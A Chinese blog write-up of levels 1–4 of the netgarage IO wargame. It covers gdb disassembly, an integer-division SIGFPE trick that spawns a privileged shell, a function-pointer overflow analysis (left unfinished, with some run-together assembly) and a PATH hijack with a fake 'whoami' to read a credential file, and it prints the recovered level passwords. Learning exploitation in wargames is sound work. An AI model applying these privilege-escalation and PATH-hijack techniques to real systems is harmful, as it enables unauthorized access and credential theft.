netgarage攻略 -- level1~1evel4

netgarage攻略 – level1~1evel4

介紹

netgarage(原來是smashthestack,一段時間沒上連網站也改名了)是個IO wargame,關鍵是要通過一些方式來利用漏洞獲取運行程序的控制權,然後你就可以讓它做任何事了。(有點不好就是掛機長就會沒反應,要重新登錄)
例如你可以通過它來獲得一個shell。

  • 各關關卡 都包含在目錄 /levels 下
  • 密碼都放在每關的 /home/levelx 目錄下的一個叫.pass的文件
    例如 /home/level2/.pass 包含了進入level2關卡的密碼
  • 聊天室:
    在我們irc網絡裏,聊天室的名字叫irc.netgarage.org,用ssl連接6697端口即可
    你也可以用webclient來連接http://www.netgarage.org/cgiirc/
  • 論壇:
    論壇的網站地址 http://forum.netgarage.org/
    使用聊天室將能更快更好地幫助你
  • ASLR(Address space layout randomization)已經關閉,大部分關卡都有一個可執行堆棧區(使溢出攻擊能成功進行)

因爲用到SSH,所以要先安裝後才能登錄去玩。

每一關,我們可以通過各種知識,獲得密碼進入下一關,同時在/home/levelx/tags留下足跡
level1@io:~$echo "bottomheater" >> tags

可以寫各種各樣的,最終會在顯示。

不過注意,如果一段時間沒有輸入的話,終端會自動關閉連接。


level1

現在的網站爲io.netgarage.org,原來玩的時候還是io.smashthestack.org

現在的版本

連接netgarage
ssh [email protected]
初次登錄需要認證

The authenticity of host ‘io.netgarage.org (138.201.80.190)’ can’t be established.
ECDSA key fingerprint is 2b:f6:34:67:0c:21:82:e5:a8:4f:34:3b:cc:82:3a:13.
Are you sure you want to continue connecting (yes/no)? y
Please type ‘yes’ or ‘no’: yes

在輸入密碼level1,即可登錄成功

level1@io:~$

現在就要獲取level2的密碼
提示在/levels/level01
level1@io:/levels$ ./level01

Enter the 3 digit passcode to enter:

需要三位數的密碼
毫無頭緒,試着看回源程序的彙編。用gdb反彙編
level1@io:/levels$ gdb level01
(gdb) disas main

Dump of assembler code for function main:
0x08048080 <+0>: push 0x80491280x08048085<+5>:call0x804810f0x0804808a<+10>:call0x804809f0x0804808f<+15>:cmp 0x10f,%eax
0x08048094 <+20>: je 0x80480dc
0x0804809a <+26>: call 0x8048103

發現有0x0804808f <+15>: cmp $0x10f,%eax,將0x10f和輸入比較,很明顯0x10f就是密碼,將其轉爲10進制就是271

level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 271

Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.3$

成功獲取控制權,查看下一關level2的密碼
sh-4.3$ cd /home/
sh-4.3$ cd level2
sh-4.3$ cat .pass

XNWFtWKWHhaaXoKI

這就是密碼,每臺機子都不一樣的,就算一段時間沒上還是能用回原來的(不然我也不會po上來==)

以前的版本

以前嘗試的過程
ssh [email protected] level1
顯示

The authenticity of host ‘io.smashthestack.org (176.9.4.153)’ can’t be established.
RSA key fingerprint is f6:15:58:14:fe:ea:7b:dc:11:b6:d4:69:03:9c:61:e9.
Are you sure you want to continue connecting (yes/no)?
Host key verification failed.

cat /home/wang/.ssh/known_hosts
沒有記錄

ssh -o StrictHostKeyChecking=no [email protected] level1
顯示 Welcome at IO!
不過還有問題
(passwords were recently rotated)
按道理直接就是level1,不過就是不行(機子問題?)。

換個方法,試着再登錄
ssh -l level1 io.smashthestack.org -p2224
這回輸入level1作密碼就行了。(其他關卡也是這樣流程)

鑑於網速一卡一卡的,先下載到本地研究
scp [email protected]:../../../levels/level1 level1


level2

登錄
ssh [email protected]
先運行/levels/level02

source code is available in level02.c

提示查看源代碼
cat /levels/level02.c
可以看到兩個函數catchar和main

void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf(“WIN!\n”);
system(“/bin/sh”);
exit(0);
}

int main(int argc, char **argv)
{
puts(“source code is available in level02.c\n”);

if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}

分析可知,main需要輸入3個參數,其中第一個參數就是可執行文件名,而第三個必須是非0整數,不然會退出。同時必須調用sh執行的話,就必須調用catcher。根據signal(SIGFPE, catcher);,也就是必須產生SIGFPE信號才行,查閱後得知可以通過浮點溢出產生,而-2147483648是32位操作系統中最小的符號型整型常量。

level2@io:/levels$ ./level02 -2147483648 -1

source code is available in level02.c

WIN!

sh-4.2$ id

uid=1003(level3) gid=1002(level2) groups=1003(level3),1002(level2),1029(nosu)

sh-4.2$ cat /home/level3/.pass

OlhCmdZKbuzqngfz


level3

運行/levels/level03

毫無反應,那就看源代碼

cat level03.c

void good()
{
puts(“Win.”);
execl(“/bin/sh”, “sh”, NULL);
}
void bad()
{
printf(“I’m so sorry, you’re at %p and you want to be at %p\n”, bad, good);
}

int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
return 0;

memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);

printf(“This is exciting we’re going to %p\n”, functionpointer);
functionpointer();

return 0;
}

分析出目的是通過good調用shell,而在題目中functionpointer=bad,只是調用了bad,所以應該改寫這個指針,很明顯應該是用memcpy覆蓋的,將argv[1]的數據覆蓋buffer,並且溢出覆蓋至functionpointer,這是就需要找出bad在內存棧中的函數指針的地址。
同時第二個參數要長於4。
先帶參運行
/levels/level03 aaaa

This is exciting we’re going to 0x80484a4
I’m so sorry, you’re at 0x80484a4 and you want to be at 0x8048474

看起來0x80484a40x8048474是關鍵。
level3@io:~$ gdb /levels/level03
(gdb) disas main

0x0804852b <+99>: call 0x804838c

level4

運行
level4@io:/tmp$ /levels/level04

Welcome level5

試着gdb也看不出什麼,看回源碼

int main() {
char username[1024];
FILE* f = popen(“whoami”,”r”);
fgets(username, sizeof(username), f);
printf(“Welcome %s”, username);
return 0;
}

popen()函數通過創建一個管道,調用fork()產生一個子進程,執行一個shell以運行命令來開啓一個進程。popen執行whoami,要想獲得shell,就只能僞裝whoami這程序來獲取。由於poepn會執行命令,只要讓其執行cat /home/level5/.pass,就可以將username改爲密碼並顯示出來。
在/tmp下新建whoami
level4@io:/levels$ cd /tmp
level4@io:/levels$ mkdir foo/
level4@io:/levels$ cd foo
插入cat
level4@io:/tmp$ echo "cat /home/level5/.pass" > /tmp/foo/whoami
使其可執行
level4@io:/levels$ chmod +x /tmp/level04/whoami
添加到原來的whoami的執行路徑前
level4@io:/levels$ export PATH="/tmp/foo:$PATH"
level4@io:/levels$ echo $PATH

再次執行
level4@io:/tmp/fooo$ /levels/level04

Welcome DNLM3Vu0mZfX0pDd

get!


發佈了49 篇原創文章 · 獲贊 16 · 訪問量 7萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章